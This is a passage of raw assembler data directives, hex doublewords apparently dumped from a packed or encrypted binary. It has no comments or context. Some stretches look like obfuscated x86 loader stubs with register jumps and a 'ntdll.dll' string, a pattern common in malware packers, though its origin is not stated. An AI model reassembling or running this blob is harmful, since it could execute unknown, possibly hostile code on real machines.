0D8D3ADBFh, 6DCC4F6Ah, 154EF38Ah, 0CE10561h, 9B4F0AF4h dd 9BB0B460h, 0FC1457F0h, 99B3AF67h, 76326B22h, 73CFBAA4h dd 93943C74h, 9423C297h, 0C383547h, 1BA76279h, 0FB943CD8h dd 61E63A1Fh, 9497697Eh, 9E0AD288h, 0AF2A4420h, 9007C3F8h dd 266507D7h, 0B909007Ah, 5D9E11B5h, 5C01E501h, 4035144Eh dd 78435440h, 72000008h, 3AC17DC0h, 58DF5B92h, 35C478B1h dd 62D95592h, 0CDBB6FAEh, 62A143B1h, 7DBE6FE6h, 59943AC1h dd 78AD56E5h, 34F7C9C4h, 6BDA048Eh, 2C38966h, 6DCC7C44h dd 41FD32D9h, 0F406D5E4h, 9B87C065h, 0EB9EC297h, 67FCCAD6h dd 441A3430h, 23CDFD45h, 431D1994h, 23CDFA48h, 293E1A94h dd 0A3DE8457h, 0BFFAB027h, 80DC2D3h, 5C3A0000h, 324C1EBDh dd 0CC7CCB77h, 1A2F2B6Dh, 186E4346h, 0CCA867FCh, 983591D8h dd 9BD89423h, 5210E104h, 76F0397Bh, 5A000001h, 55417C32h dd 9E529336h, 314B8027h, 7CE65C4Fh, 22FE6DCCh, 8C425945h dd 0A85EDD51h, 0B24CB96Dh, 0A258532Dh, 426DCC7Ch, 19A83AE6h dd 32D9607Ah, 4E72AB62h, 32A9BEA2h, 0E8D417Ch, 1D431D58h dd 0CC7CD46Eh, 1734306Dh, 7D8E4067h, 0E59C6DCCh, 843E74Eh dd 0F2EDEF54h, 838931D8h, 725B9233h, 0C68556D6h, 114AFF62h dd 10621835h, 0BB6AA549h, 9233E707h, 0B35F83DFh, 5EE4A7B9h dd 0B69233E7h, 0E45FBBAh, 72E9FE62h, 4BCA7EBFh, 0D3AD599Ah dd 762A5F08h, 0E7BD0504h, 0DD599233h, 9E24E7F9h, 769233E7h dd 0AD56DDFAh, 671A8C78h, 0ECC869C8h, 0A047FE33h, 97BBB76Bh dd 7D4DF6C5h, 80E490C7h, 7819B064h, 783E1B37h, 0CD745001h dd 0EFC4B094h, 5939EAE8h, 76C9EE1Ah, 18B9805Ah, 35472BD7h dd 3367CC76h, 2F4C2892h, 0A6D6249h, 0FD799803h, 0D617BA41h dd 9C43D52Ah, 7A67C7C2h, 0BE7D9423h, 9F9CE07h, 7E2D532Dh dd 94237AC4h, 77274420h, 0F63FD66Dh, 0E99D1C53h, 7A7BC7AEh dd 92799423h, 94237A30h, 0CCA858D4h, 371B5C0Dh, 0B2F39625h dd 0F79A2195h, 0E970CAB6h, 1A160A45h, 0B919A03Dh, 98FBEF58h dd 0DAF4D0B5h, 0AB5FDA04h, 0F9A08470h, 94235B49h, 51FAB1ADh dd 0BB443F1Ch, 539E1323h, 0C27963D7h, 5493350Dh, 0CBA08470h dd 0A01C5D10h, 7E3A7519h, 1EBD5CE8h, 1A7324Ch, 7D5AD6CAh dd 0FC2B3986h, 0AD59D567h, 44FEADD3h, 0A09423ADh, 266105C4h dd 5AE1F67Ah, 3C8685B2h, 0D89423ADh, 6566785Ch, 309523CAh dd 9F173424h, 25C05C09h, 0CFB6EF96h, 6DCC7C73h, 0C7BB9793h dd 0CC7C26A0h, 17AEC56Dh, 6B35FFD2h, 0A97E6F33h, 25D4B2BDh dd 1DF96F8Ch, 53000000h, 4F437A32h, 0CC7CBA08h, 7211A06Dh dd 62D60DB3h, 0CC215FA3h, 0BA5A0B6Dh, 0B2FFFFFFh, 76447932h dd 4D7CFFDh, 0B548255Ch, 35ECBA21h, 222BF697h, 3F0B366Bh dd 81000000h, 8D1BC05Ch, 7C6ED4D7h, 0AA866DCCh, 32A9D71Ch dd 0A02C417Ch, 75437A32h, 0A9D78A42h, 0CC7C4002h, 0EE29DD6Dh dd 0A8E387FEh, 0DD5C78FCh, 1F03EF28h, 3E9F4Ah, 1AA10000h dd 0EA463A73h, 0C05C370Dh, 0D4D78D1Bh, 6DCC7C6Eh, 0F82FD564h dd 9ED98D0Ch, 0C813A5C2h, 3D0BE722h, 7F32A9D7h, 0D7A3293Eh dd 51265B04h, 1DABE28Ah, 4002A9D7h, 0A46DCC7Ch, 9038B3C8h dd 4E427B32h, 0CC7CBB07h, 7312A16Dh, 6C2FBB2h, 0C2ED3734h dd 0FE956672h, 1A0F42E9h, 3AAB6DCCh, 0FFFFF3D3h, 0F396D792h dd 19656CFBh, 0AF55DEFBh, 91786678h, 6DCCE631h, 0D005BED5h dd 47244024h, 38A3328Fh, 84C26326h, 0E03C67FCh, 4D96534h dd 873C943Ch, 0B1C40DE8h, 14A4397Ah, 0E6000000h, 0E40h dd 6B1E4000h, 6DCC7CD7h, 9686C368h, 5CE7BD9Ah, 0A3E083BDh dd 7D4F73EFh, 7D3109BEh, 0EE721E42h, 0CF0407D9h, 8767FC1Fh dd 0A14CF6B5h, 0CCA89423h, 27DDFCA8h, 4F8D3CF0h, 0D59423A1h dd 4B256006h, 23A1E260h, 51260294h, 97A0E48Ah, 66DCCF9Eh dd 7E942354h, 0C0FB5A2h, 855B7551h, 23283C86h, 235C1194h dd 73AE546Bh, 0AABFA37Fh, 0C601A534h, 0AFC49EDAh, 0EB47D14h dd 0B68557D3h, 4420D411h, 0BEF3AC27h, 237F0E7h, 26275923h dd 0A6BF2A98h, 2A1B677h, 0D409C263h, 0CE4E7F51h, 1152F38Ch dd 0FBDC0165h, 0C08C61FFh, 0EB221BF6h, 0E0FB30h, 5C510000h dd 0D78F1DC2h, 0CC7C6BD4h, 0E7B5A16Dh, 0ADC4A9D7h, 80DFAAAEh dd 0AD2A9893h, 4ECA6DCCh, 199D4572h, 224842B6h, 771A7F45h dd 348E7D63h, 0AE6DCC7Ch, 0CC7C47FBh, 0CBC39F6Dh, 7C10B259h dd 78F46DCCh, 32A57F5Ch, 0FD764479h, 1BC05CCFh, 0C4A9D78Dh dd 59DC7D7Fh, 0DA680F1Ch, 3A6DCCF1h, 6B5509DEh, 0F12C9695h dd 6CC86DCCh, 4D7B58Fh, 0F36F235Eh, 21E021D6h, 41C0366Bh dd 0A000000h, 0CB80C05Ch, 2E1251F3h, 0E802DE42h, 78EB4D03h dd 87EB97D2h, 0ACFCB462h, 0D4D7F5CFh, 6DCC7C6Eh, 22590F86h dd 48CEF26Eh, 7A32F5D7h, 8A427543h, 4002A9D7h, 0A46DCC7Ch dd 1636B3C8h, 86000000h, 8D1BC05Ch, 7C6ED4D7h, 0B0A46DCCh dd 32F5D7EAh, 4275437Ah, 5B04D78Ah, 0E1F67A26h, 0FFFF1768h dd 7932D4FFh dd 92395044h, 7584E15Dh, 0B4959466h, 5267FC11h, 0C37B2AD6h dd 22942396h, 0B6F7F291h, 96397B3Fh, 3Ch, 1EBD5CF4h, 7C745D4Ch dd 0FB9267FCh, 25170B48h, 3C7CDC66h, 183C3894h, 0A521483Ch dd 7A943C7Ch, 0A4BFED4h, 0E59B3AE6h, 0F685C2AEh, 0EB88715Fh dd 36409154h, 0EA20397Bh, 6A000000h, 50447932h, 0AC589739h dd 246599D2h, 6DB8FBF6h, 0E9FE37EEh, 47E9B972h, 9581B66Dh dd 0CAC1B591h, 0EB07EB22h, 0B2E7A037h, 336C2198h, 0E490D174h dd 34F36B80h, 6DCC22D6h, 4F0B40E7h, 53AF806Dh, 0AEE6C0A4h dd 0CC7347FBh, 9FC39F6Dh, 255A11CAh, 36CEFF71h, 0CEBB1D30h dd 0A62DD0ADh, 76451B35h, 0CCB794D1h, 67FC360Fh, 1DFFBBB7h dd 5AFA4843h, 351A943Ch, 66197E3Eh, 9DE0201h, 6C7E5D7Ch dd 0E724C792h, 6922373Bh, 9E0AFF51h, 14A7B9B5h, 0FE7D3170h dd 7FBA704Ah, 6B38F93h, 40354EE2h, 600F988Ch, 5A000002h dd 42B975B8h, 60D7538Ah, 3DBC70A9h, 0A914D8Ah, 0B5B32766h dd 2A691B49h, 458627AEh, 215C1289h, 40752EADh, 0EC9FA18Ch dd 6BDA0256h, 326B31AEh, 402D3F7Eh, 95D7A184h, 40F6D3A9h dd 61DD12B9h, 1EBD5CCBh, 0CB77324Ch, 2B6DCC7Ch, 9ACF782Fh dd 0F6C59BBDh, 8CC77B4Fh, 0CCB89C98h, 0BB989368h, 3967FC7Ch dd 0B794C982h, 0ECBB67C3h, 94238352h, 866302B1h, 397B372Bh dd 0D80Bh, 1A63500h, 321DA7C4h, 39504479h, 0D2AC5897h dd 7C45FDACh, 0B16C6DCCh, 0AB65AE9Fh, 4E2B07F7h, 0CCC6B555h dd 0ACE18A6Dh, 79304E30h, 6DCCBEC9h, 9F1C312Dh, 0F2BFB3E8h dd 23E6F8E3h, 67FCCDE6h, 934BBBA0h, 0DDA87F08h, 0D9E045F9h dd 572E04F9h, 0EDA1402Ch, 98B28EB2h, 161849B3h, 1C31E92Fh dd 0EB9F1A44h, 4673CFBAh, 9793943Ch, 34E59EBBh, 0D29E0A8Bh dd 13B58456h, 25E4FAD4h, 9E11F99Dh, 74A96279h, 0AEC0A480h dd 11F947FBh, 0A6C39F9Eh, 0C807A930h, 3558EB23h, 68712540h dd 143h, 8E4A8D3Dh, 0AE2A6107h, 95498227h, 0A8246106h dd 8C407F31h, 3CF0629Eh, 17BA41FDh, 2FD362D6h, 0AC138F4h dd 8A7659D5h, 0DA03239Fh, 5EE6C36Bh, 8B3F7E32h, 0AA1E530Ch dd 4479321Ch, 67923950h, 7C309279h, 58D46DCCh, 0CC7C11B1h dd 8883F56Dh, 6DCC7C3Ah, 7E627EDAh, 7D5E75CAh, 271FA863h dd 98D567FCh, 8AC6FC91h, 6DA5D1BAh, 498E17B6h, 0CE4A502Dh dd 9B27E2FCh, 7B94238Dh, 4980289Fh, 0D68D4C34h, 0F5AE2DA1h dd 0D8DFD4C0h, 3442E903h, 0D09E1911h, 0F117AB5Eh, 73EF9E15h dd 509AEA4Fh, 144031h, 9A97h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh dd 54E35792h, 0C7C276ABh, 0FC8C36F5h, 8B686BDAh, 1EBD5CC1h dd 0E05D5D4Ch, 0D6967F6h, 0A41E0DF3h, 409425E0h, 0B86CA349h dd 6A2198BCh, 14661835h, 19CCA045h, 2C482CD8h, 54DFFC78h dd 33C276ABh, 0FCAB578Ch, 0C646447Bh, 0C160FFA0h, 40FBD50Ah dd 0C0A45089h, 0FBA433ABh, 7E60DAC6h, 463C378Bh, 7653CFA6h dd 0D9CD0ABDh, 949D34CFh, 7302B6EBh, 0FAEB97CCh, 3, 326D5F52h dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 89522434h, 4C281E2h dd 83000000h, 148704EAh, 3C895C24h, 3D116824h, 34890000h dd 31B85024h, 8311BF34h, 0D140FFE8h, 1D22DE0h, 0C7891D68h dd 4EC8358h, 83242489h, 5E042404h, 8468F57h, 5E2434FFh dd 4C481h, 34FF0000h, 0C4835F24h, 0FEA6E904h, 9247FFF9h dd 7AB77EB7h, 16815DB8h, 50C50306h, 23E585C6h, 68470610h dd 0CF381725h, 1499B5FFh, 858D0610h, 6103A32h, 0D88BD0FFh dd 2B01858Dh, 68500610h, 104h, 85C6D3FFh, 61023E5h, 0F8BF6853h dd 0B5FF8307h, 6101499h, 3A32858Dh, 0D0FF0610h, 64708589h dd 0BD830616h, 6103105h, 0B840F00h, 8B000000h, 1020899Dh dd 5E906h, 0BB0000h, 68000000h, 100h, 6474B58Dh, 53560616h dd 24595FFh, 0B58D0610h, 6166474h, 1E9F003h, 4E000000h dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 74858D00h dd 50061664h, 647095FFh, 0FF580616h, 0E68F6EE0h, 0F12BE811h dd 14DA2B08h, 44E94Eh, 22410000h, 8C9332DDh, 0E89DE61Dh dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h dd 9 dup(0) dd 0E6E90000h, 68000006h, 6168410h, 0F9FD87E9h, 84D768FFh dd 7DE90616h, 68FFF9FDh, 616859Eh, 0F9FD73E9h, 868F68FFh dd 69E90616h, 68FFF9FDh, 616875Fh, 0F9FD5FE9h, 884968FFh dd 55E90616h, 1AFFF9FDh, 2793578h, 2097134Ah, 0FD7C3069h dd 0CA510D4Ah, 7573E726h, 0EA29DB09h, 546E76Eh, 0E11CD249h dd 35EE6Dh, 0AC5F614Ch, 6BDAFF16h, 0D72BF1EEh, 7F2A6104h dd 6DCC7CC3h, 772B4723h, 2863DEFBh, 0D9000000h, 2A447932h dd 0A5E28554h, 3C8675F1h, 0D86DCC7Ch, 0F3CF10C1h, 0FAB128D6h dd 0E46209C5h, 396DCC7Ch, 0CF0CBF95h, 5CB137F3h, 5D4C1EBDh dd 67FC0FB0h, 771ED24Eh, 942391CFh, 0FBFE952Eh, 397B48B2h dd 25192h, 0D7D2AC00h, 94239D6Bh, 0F2BA8F8Bh, 216004D7h dd 0DB5C724Ch, 0DECD9F3Ch, 67FC2045h, 99420561h, 5871781Ch dd 2B45961Dh, 3D3B9780h, 0D9F36F52h, 8571AC62h, 66DCCFA1h dd 7E427D5Dh, 0ECD9C5A2h, 4D3C0ECDh, 484AA06Fh, 342E675h dd 5E2F34E6h, 2B2F5B2h, 0F9C09AB6h, 94C98252h, 0EC6084E0h dd 0DC81B66Dh, 9A75CA5Eh, 12736430h, 22000005h, 2AB12D70h dd 88F4B82h, 25B42861h, 12894582h, 0BDAB1F5Eh, 32711341h dd 0D4EFF76h, 0E924CA51h, 83DE675h, 0A4675954h, 6BDAF81Eh dd 0D733F9F6h, 7A265B04h, 0B15AE1F6h, 0F869627Ch, 4D865B55h dd 0A81D09DEh, 0BBB0CA11h, 0FFCBF98Ch, 0D978654Eh, 3E767EA4h dd 3CEF11E6h, 67FCBDFFh, 21581087h, 59D5F175h, 0F05C4687h dd 0B082B803h, 0A7AD039Bh, 44307114h, 5B7A0BE0h, 26BB6E80h dd 9E9E0C93h, 1A2F641Bh, 0A2490C68h, 67913ACBh, 0CAA437BEh dd 487F25B4h, 0DA9F7833h, 0FB773CBEh, 0C01BBA07h, 43DDFBAEh dd 492532C9h, 0C6FBA437h, 53562812h, 22D340EFh, 854E2B07h dd 2C44A9DEh, 0E2FCF7C5h, 44BA132h, 0AB5B0000h, 0BF65F468h dd 0A045D488h, 0BF64F367h, 9D4FC682h, 80FCEA5Eh, 0EB5F9E52h dd 0C478B96Ch, 0E2569135h, 0C377AC53h, 8D35F4C8h, 696BDAF8h dd 7932C08Ch, 0E0D1733Bh, 0CEF26476h, 51863DFCh, 0FAACC1A5h dd 13EDEE05h, 989FC7DAh, 0F9B059B4h, 96D1956h, 0C81D0CF4h dd 5667FC9Bh, 75B255E4h, 3CFB3C86h, 785CD894h, 8D585FC4h dd 3CFB249Eh, 8064C094h, 79E0BB6Eh, 9E7A9E06h, 8327B2CCh dd 0A2BEF9ADh, 0DE5572EEh, 623CF025h, 0E1F635D7h, 2CE1B15Ah dd 3EFDCFF3h, 0DB574B8Ah, 24B300FEh, 0D0BBA5B7h, 9E167872h dd 63B19692h, 0FA25F406h, 4F3A1E3Bh, 94263642h, 1C5B0D84h dd 0D7EB9338h, 91855E22h, 38408h, 0AFF29400h, 8DC47CFBh dd 6AA34AD1h, 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh dd 38BF7BBCh, 54E35792h, 0C7C276ABh, 0F98C36F5h, 8B686BDAh dd 447932C1h, 87546350h, 5B9B675h, 3E5567FCh, 0DB574B8Ah dd 0D9C243F7h, 0EE000001h, 8AA91910h, 0D14D9423h, 0C41530FCh dd 306F2198h, 65A24544h, 0EB22CA81h, 0BF1E3B37h, 0B7C9A338h dd 0CC7C4EF4h, 0FBC1A66Dh, 248C5CB6h, 1D7F4D0h, 69A85CDFh dd 4F02B9BDh, 0D152390Eh, 0F567FCBDh, 0F10DBE79h, 0F0896109h dd 6D8F2E9h, 0FF9131D8h, 0F975697Fh, 540D07D4h, 8C6102FBh dd 4F0C629Fh, 56280463h, 0C3FCB128h, 6E8B6ED4h, 0CDAA8693h dd 6D5E4D1h, 994AF7F4h, 6CD1F011h, 9AC2698Fh, 6A995982h dd 1B111F8h, 0D9559542h, 0AF58E3FDh, 9037BE7Ah, 1ED207C0h dd 0DBB91E42h, 754B6684h, 29338A1h, 3A30000h, 0D78D0CC0h dd 0F8AD2CA0h, 0D78C0BBFh, 0F5971E9Ah, 0F80402B6h, 33A7E68Ah dd 0CC001A4h, 2A9ED98Dh, 0BBFF4ABh, 0D56D1C20h, 316BDAFAh dd 0A9D7E8B4h, 50447932h, 7C9D25D4h, 0FD796DCCh, 77AC53E0h dd 0A19F368Bh, 60C4B0EFh, 7ABF6A84h, 0C67FC12h, 0B6009C10h dd 2739A231h, 13C9FF64h, 0CA80179Eh, 637FE38Fh, 53AE6489h dd 2F9A35A9h, 6BEE9D1Ah, 0F66DF566h, 0BF0306DFh, 57093166h dd 0B80A01DBh, 5C093166h, 1F0AE400h, 30103E2h, 0F932D762h dd 4E421EE4h, 6BAC5DDCh, 316820B7h, 0EA53815h, 0D0F8B3CDh dd 3039177Ch, 0B7311A34h, 72D0BB19h, 92351519h, 35EBB196h dd 0B9805875h, 0DA61DD12h, 0BB4FFC31h, 0F5EB3159h, 1C3B821h dd 33D30000h, 7BD3CF0h, 28DD5CD0h, 7BC3BEFh, 0E5870ECAh dd 0C83432A6h, 3B7F69Ah, 1C90D174h, 0FAAEE99Dh, 1B8FC47Bh dd 0E55D4C30h, 16BDAFBh, 793218A4h, 0EDDE5044h, 6289BFCEh dd 9CE9FE17h, 728C5E7Dh, 0E6259D8Ch, 0CAC16DCCh, 3A36EA23h dd 954A4116h, 3167FC92h, 0A6A77935h, 1B97C0C0h, 98344921h dd 4C1EBD5Ch, 0F6FE185Dh, 0B0CAA667h, 1C570BCEh, 96CB743Fh dd 1453F5C4h, 4FF87F37h, 0B38FCC7Fh, 0EFE3F2BFh, 1FD246EFh dd 24C9F9DEh, 0C39DAF93h, 371455F8h, 1F93194Ch, 61BCA19Eh dd 7DB46CAEh, 7AC0AD89h, 0F00AE694h, 99A71B0Eh, 483F9E1Eh dd 6F8C68A1h, 4919D289h, 0BBB76BA4h, 0EB942397h, 0DEF5CAB6h dd 826EAF62h, 31A8C29Eh, 5028457Ah, 2EE06459h, 5A0B8294h dd 0ED096D19h, 2A258080h, 8D160E5Eh, 0D9h, 520649E9h, 72E61DC3h dd 49053EE3h, 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah, 33D665D9h dd 0BBF36F2h, 26DD5CD0h, 6E523DF1h, 0DAF407BBh, 3A02DF6Bh dd 0E283BD5Ch, 6F236206h, 0D9F3CFF3h, 0F6FE0332h, 7B270367h dd 63943A01h, 25011AA8h, 421EFA94h, 0C0F5AE25h, 0A1D68D0Ch dd 50527BF5h, 4BB00F17h, 0E0F09BB0h, 3DC9EA03h, 0BD66CF66h dd 9E45D488h, 0F2699769h, 0AA18FF3Eh, 4AA8D182h, 0B50DFCCEh dd 51A8D182h, 3406F8D5h, 10C700A5h, 0D691D5Ch, 83C063F0h dd 0B9F98469h, 557E1366h, 0E3F82DD6h, 6302B123h, 0F130D467h dd 8F4C2105h, 0B027A3D8h, 5CCEC2F7h, 0D516B782h, 0EC564521h dd 8A8D1CAh, 0F4A0DF91h, 32D55470h, 482501F5h, 899h, 6E14A700h dd 5F8E1633h, 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h dd 3F7E32A9h, 51903453h, 448126A5h, 5B943950h, 417830A7h dd 5450CF55h, 40558h, 0E8830000h, 24048704h, 0E089505Ch dd 405h, 42D00h, 4870000h, 3C895C24h, 70E6824h, 0C890000h dd 1EB85024h, 0F70F8138h, 43BC0DD8h, 2D405D64h, 218A5FEEh dd 0E4FA2D40h, 5F50D5DDh, 0C8B5458h, 4C48324h, 4EC81h dd 3C890000h, 8418F24h, 592434FFh, 0FF04C483h, 835F2434h dd 0B9E904C4h, 80FFF9F6h, 6774E65Dh, 0F48589DEh, 0D3472AEFh dd 8947B8F0h, 0C5030616h, 89E9E0FFh, 83D737CCh, 0AEF03954h dd 0F7FE7B24h, 7B080A1Ch, 34650937h, 39712821h, 0D4384DECh dd 51B03A40h, 672E230Bh, 1B185E64h, 0FA7B13D8h, 874D1163h dd 0F9F9261Dh, 0B93D6F32h, 68B81876h, 0BFDE6488h, 71426F8h dd 4F1205Ch, 87EB1B37h, 5A404D2Eh, 966F512Ah, 2F095860h dd 1EAA240Ah, 0D720343Bh, 21B817B0h, 11E80DAFh, 3C000000h dd 0E9C702EFh, 0A9010129h, 0FCF2A1FAh, 2026B4BFh, 4F5C8EBBh dd 97BF5E2Ah, 8159EA2Bh, 5FD3C6h, 0FE86000h, 21000000h dd 77D21670h, 78195D6h, 90C7532Bh, 6160A328h, 3820F5Eh dd 66000000h, 2B61C88Bh, 0C38166D2h, 34FFAD9Ah, 0E959F932h dd 9, 8ED918ACh, 1845A44Ah, 0FE981D8h, 0F5D59CBh, 38Bh dd 0FBBF0F00h, 494FE981h, 8B665232h, 5DE981D9h, 895DE29Bh dd 0B0BF160Ch, 0F3F91D8h, 8Ah, 2EA8300h, 0F4A4AF5h, 0FA81D8BFh dd 0FFFFA0F4h, 19850Fh dd 0F88B0000h, 25E9h, 0C8EB3900h, 0EF020732h, 0BB55E828h dd 0B933E0F1h, 0F5F95A12h, 0FFFF8DE9h, 1ECF5CFFh, 7B49F7B4h dd 0AE078E6Ch, 25E947B4h, 5D000000h, 7B42ECh, 8 dup(0) dd 449E9h, 8C4E6800h, 31E90616h, 68FFF9F5h, 6168CCEh, 0F9F527E9h dd 8DF368FFh, 1DE90616h, 0E2FFF9F5h, 0EA71ED30h, 0C84F0B42h dd 0E574E821h, 0D2490542h, 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h dd 0A9E48A11h, 0C8FDA635h, 64271914h, 6BDAF7DEh, 0D7F3B936h dd 6F235E04h, 0AB5DD6F3h, 0B259926Ch, 0C2BBA547h, 0B7CED0ADh dd 25FDB10h, 1316E8F3h, 67FCC48Eh, 0A7324C28h, 0F5B1C605h dd 3CC418A6h, 29C8FB94h, 7A7E01CCh, 2B4E139h, 152B0000h dd 8227B2BAh, 9182CE40h, 0A1C5249Bh, 0F233D6F5h, 4D6CF9CEh dd 0C68FBC8Eh, 1C258DFDh, 4B3E2237h, 67FC0CD6h, 845A74F0h dd 3C753D85h, 805DD994h, 0EB3708AFh, 0A3329159h, 32632638h dd 0CC9B76B3h, 0C84FA450h, 0E195D478h, 718F6185h, 0ED0A43EAh dd 86B9FE36h, 0E1919691h, 0C9927265h, 284137C1h, 0DAF6F26Ah dd 0B66AA95Bh, 87C496BAh, 0A8E1A77Ah, 0C197B415h, 0A01C51FAh dd 0E9A27219h, 483C7319h, 181C08ECh, 4A2D8F3Ch, 53434383h dd 27242h, 0FF42E400h, 0DD14CC4Bh, 0FA33DA61h, 0D714B73Eh dd 0F130D463h, 0C1334F3Dh, 0DD5CD00Fh, 0E86FEB2Ch, 0C4530742h dd 7772E61Bh, 0F03C8685h, 0DBD86BDAh, 15BD5C51h, 0A467670Bh dd 6DCCD61Eh, 7F4D7AF6h, 0EB05E191h, 0F6559A40h, 0DCEE6A67h dd 4E943702h, 87BE4095h, 0E3FDD9DFh, 261C9A28h, 0C99E7A94h dd 0DF845E12h, 4E72EEA2h, 6AA95BDAh, 1C54EFB6h, 40E79426h dd 62705E0Bh, 61E4A03h, 1F29Dh, 7FC26400h, 5D944CCBh, 7AB35AE1h dd 579437BEh, 71B054E3h, 41B3CFBDh, 5DDC508Fh, 68EF6BACh dd 44D387C2h, 0F7F2669Bh, 0F0BC0605h, 5B586BDAh, 83BD5CD1h dd 8D449DDDh, 39BA2B0Fh, 3927391Dh, 0E95314h, 8B603F04h dd 0F6E73AA0h, 0A24ECA67h, 25A94BF3h, 7A19AA94h, 81552E7Fh dd 1400E39h, 327C0000h, 39504479h, 0D20BC292h, 0AA1E421Eh dd 431DBE55h, 7B32301Dh, 0BE3DAA25h, 68D902A9h, 312D67FCh dd 1FA81645h, 0F54B943Ch, 2AA5DF8h, 0A6C34599h, 327B7E15h dd 0A2397A8Ah, 260835A9h, 2F3C7B23h, 995A2C5Dh, 0B315320Eh dd 23h, 83BD5C19h, 0B1CBA7DCh, 0FC7CD9FAh, 35E13D67h, 2383D866h dd 0E9883B94h, 7B36C10Ch, 8DA139h, 0D7EB0000h, 740FEB96h dd 6E32A7Dh, 0B561964Dh, 0C4D00BBh, 0E6C064EFh, 79100441h dd 89ED99D6h, 0FE9D896Dh, 65641045h, 16D589BEh, 6DCC648Ah dd 0BB6FA45Bh, 728C4F66h, 0FAD189B7h, 0F30D6967h, 0C985C468h dd 1DC49E52h, 655B00E4h, 2B4A04A8h, 0CD6A7Bh, 8F3F0000h dd 6309904Ch, 8429B02Ch, 63088F4Bh, 8123B226h, 64A08642h dd 971352F6h, 0B02C6D20h, 8E4A8529h, 0AF2B6007h, 79C9C0BCh dd 9D6BDAF1h, 7E327440h, 530C8B3Fh, 321CAA1Eh, 0AF2A4479h dd 0FDA9BEFDh, 0B25525DEh, 88DD5175h, 99906A71h, 67FCCAA8h dd 41F8D24Eh, 2DDC508Fh, 9423CD91h, 14C8FDA6h, 0BDFEAF2Ah dd 0C3906DC9h, 3C2EE221h, 6A03F50Fh, 0A2B789ADh, 5227h dd 0BD5C9500h, 0F95D4C1Eh, 567F687h, 0A55E7D29h, 863DBC70h dd 95F6A551h, 8E1151AAh, 2DBEF9F2h, 9BE3C1A1h, 0DF46DDBEh dd 0C037F328h, 0A71ED207h, 0C9DBC704h, 0F19A9B3Ah, 7017A2BCh dd 8EC37C3Bh, 0CD7605B9h, 620E49FDh, 0A52EE2FEh, 3, 326D5F17h dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 2E68243Ch, 89000077h dd 8952243Ch, 4C281E2h, 83000000h, 148704EAh, 1C895C24h dd 47B95124h, 0C1565955h, 0F75103E9h, 81592414h, 225E07F1h dd 59CF89F3h, 4EC81h, 24890000h, 24048324h, 89525B04h dd 85389FAh, 8124148Bh, 4C4h, 241C8B00h, 81E18951h, 4C1h dd 4C18300h, 5C240C87h, 5F2434FFh, 4C481h, 1E90000h, 0CCFFF9F1h dd 68FAE62Bh, 41C83024h, 0C8E699DBh, 0E5B8FAA7h, 306168Eh dd 0FCE0FFC5h, 11426301h, 0D45BCCBCh, 8D27A018h, 1690558Dh dd 68C0F06h, 8B000000h, 102A89BDh, 0F58D8906h, 0F061009h dd 384h, 38DF8000h, 231985C7h, 66980610h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 4D30CFC3h, 0CDDAF9D0h, 0CB1BD89h, 85C70610h, 61022C1h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 7EC35141h dd 2AECADF1h, 6E9C6h, 5EF10000h, 0B2B3B5DDh, 232DB5FFh dd 81660610h, 0FF2930EAh, 102DB995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 1317C8B6h dd 80BFA89Ah, 0FF006ADAh, 1031C995h, 0EBC08B06h, 637B0679h dd 28048559h, 0B651AA7h, 4082700Dh, 70E691DCh, 0BCC08025h dd 0AE10C602h, 7B8484EFh, 9FA49419h, 0E9F098FBh, 20FC8D7Ch dd 2C30881Ah, 584D4805h, 2925AB6Bh, 7775915h, 3C8EB3B1h dd 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h, 63E6029Ch dd 1AAD7FDAh, 8885D5D3h, 8D17A2E5h, 0D85A4BF5h, 68CD2151h dd 50BC0EB1h, 262E56EFh, 2E599ACAh, 0CA7C70A7h, 8D8D3108h dd 6169191h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 32C35646h, 0D8AC7415h, 0F059D89h, 8D890610h, 61009F5h dd 0C7C68166h, 1985C701h, 4061023h, 6A00006Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 2D7DC351h, 85C762AEh, 61022C1h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 15C35545h dd 51B5FFD3h, 6A06101Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0F672C352h, 0B995FF55h dd 8B06102Dh, 100A59B5h, 0FF006A06h, 1031C995h, 0EBC08B06h dd 9B51F24Eh, 5CF241A1h, 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h dd 3515DD7Eh, 6C3DC529h, 0C413308h, 29368411h, 0F534D500h dd 4A9752ECh, 16907503h, 0FA9AF532h, 0AC03B3B4h, 2063F439h dd 5EF6ED3Bh, 6FBA1F74h, 0F6E41423h, 5C350607h, 5370DA4Ah dd 5DB16125h, 0AEB122BFh, 591A0C56h, 0C3E10D00h, 8865550Ch dd 0EB3BBE84h, 30B1324Ah, 0BAB13B54h, 0B2305256h, 0E0AE90CBh dd 57B153A3h, 0ABBCB559h, 0DD583256h, 0EFB13256h, 3D4E4AD3h dd 9270B311h, 50B37764h, 0C3B13256h, 0C61185A2h, 6695D134h dd 1FDC4C7Bh, 0EAB13EBEh, 0BA1C456h, 0B6DE2F0Ch, 88513191h dd 0AE333DC2h, 9B13256h, 0A4B13237h, 0D5B124DDh, 